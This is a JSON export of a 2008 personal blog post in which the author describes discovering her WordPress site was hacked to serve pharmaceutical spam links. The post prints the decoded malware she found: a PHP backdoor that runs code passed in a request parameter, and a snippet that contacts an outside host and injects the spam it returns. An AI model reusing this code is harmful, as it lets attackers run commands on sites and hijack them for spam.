{"id":1063,"date":"2008-08-23T23:44:25","date_gmt":"2008-08-24T04:44:25","guid":{"rendered":"http:\/\/www.fortunecookiechronicles.com\/blog\/?p=1063"},"modified":"2008-10-16T17:14:41","modified_gmt":"2008-10-16T22:14:41","slug":"i-was-hacked-with-wordpress-footer-spam-but-now-am-saved","status":"publish","type":"post","link":"http:\/\/www.fortunecookiechronicles.com\/blog\/2008\/08\/23\/i-was-hacked-with-wordpress-footer-spam-but-now-am-saved\/","title":{"rendered":"I was hacked (with WordPress footer Spam) but now am saved"},"content":{"rendered":"<p>In poking around my blog because of layout issues, we discovered I had a bunch of spam links in my footer. Like a hundred links to latech.edu, with horrible things like cialis and viagra. About a month ago, I started noticing some very strange search queries bringing people to my site, like &#8220;pantyhose&#8221; and things I can&#8217;t write here (sexual acts, anatomy, and fluids and stuff) to my blog.  I was perplexed. I didn&#8217;t use these terms. What was going on.<\/p>\n<p>So today, it all became clear. Turned out I had been hacked, perhaps it had to do with some WordPress vulerability.\u00c2\u00a0 I felt really violated.<\/p>\n<p><!--more--><\/p>\n<p>Anyway, in my templates. I went and looked in my header.php file on WordPress I was horrified to find something that started with this<\/p>\n<p class=\"MsoNormal\">&lt;?php eval(base64_decode(&#8220;aWYoQCRfUkVRVUVTVFsiQSJdID09ICJiIiBhbmQ&#8230;<\/p>\n<p class=\"MsoNormal\">Which is a &#8220;code&#8221; for normal text. Decoded it became this:<\/p>\n<p class=\"MsoNormal\">if(@$_REQUEST[&#8220;A&#8221;] == &#8220;b&#8221; and isset($_REQUEST[&#8220;C&#8221;])) eval(stripslashes(stripslashes($_REQUEST[&#8220;C&#8221;])));<\/p>\n<p class=\"MsoNormal\">Which totally was sketchy. I also found anther one, which I couldn&#8217;t decompress by myself<\/p>\n<p class=\"MsoNormal\">&lt;?eval(gzuncompress(base64_decode(&#8216;eJx1kMFqwzAMhl\/FE2bEEJz0NmZCF6hp&#8230;<\/p>\n<p>That came to this:<\/p>\n<p>$path=&#8221;\/blog&#8221;;@$s = fsockopen (&#8220;<a href=\"http:\/\/pub.supercyborg.info\/\" target=\"_blank\">pub.supercyborg.info<\/a>&#8220;,80);fputs($s,<br \/>\n&#8220;GET \/c\/check.php?ua=&#8221;.urlencode($_<\/p>\n<div id=\":1e6\" class=\"ArwC7c ckChnd\">SERVER[&#8220;HTTP_USER_AGENT&#8221;]).&#8221;&amp;ra=&#8221;.urlencode($_SERVER[&#8220;REMOTE_ADDR&#8221;]).&#8221;&amp;sn=&#8221;.urlencode($_SERVER[&#8220;SERVER_NAME&#8221;]).&#8221;&amp;path=&#8221;.urlencode($path).&#8221;<br \/>\nHTTP\/1.0\\\\nHost: <a href=\"http:\/\/pub.supercyborg.info\/\" target=\"_blank\">pub.supercyborg.info<\/a>\\\\n\\\\n&#8221;);while(!feof($s))<br \/>\n$o.=fgets($s,1000);$o=split(&#8220;\\\\r?\\\\n\\\\r?\\\\n&#8221;,$o);echo<br \/>\n$o[1];fclose($s);&#8217;<\/div>\n<p>I removed these and the spam was still there! And also, I switched out theme, and it was still there. So it had to be in the WordPress files.<\/p>\n<p>And we had just done a WordPress upgrade so all of the files had been recently updated &#8212; so we couldn&#8217;t look at timestamps to figure out which files had been touched. But you could do a search for the  base64 phrase. It turned out that some of the WordPress files themselves had been infected, like <a href=\"http:\/\/fortunecookiechronicles.com\/blog\/wp-includes\/wp-functions.php\">wp-functions.php<\/a> And then another one of my files template-functions-comments.php was the one with all the bad things in it.<\/p>\n<p>(blah). But luckily I have adorable high-quality tech help which purged it for me. I&#8217;m eternally grateful!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In poking around my blog because of layout issues, we discovered I had a bunch of spam links in my footer. Like a hundred links to latech.edu, with horrible things like cialis and viagra. About a month ago, I started noticing some very strange search queries bringing people to my site, like &#8220;pantyhose&#8221; and things [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[28,8],"tags":[],"class_list":["post-1063","post","type-post","status-publish","format-standard","hentry","category-blogging-musings","category-chinese-food"],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/p2pydS-h9","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/posts\/1063","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/comments?post=1063"}],"version-history":[{"count":14,"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/posts\/1063\/revisions"}],"predecessor-version":[{"id":1078,"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/posts\/1063\/revisions\/1078"}],"wp:attachment":[{"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/media?parent=1063"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/categories?post=1063"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.fortunecookiechronicles.com\/blog\/wp-json\/wp\/v2\/tags?post=1063"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}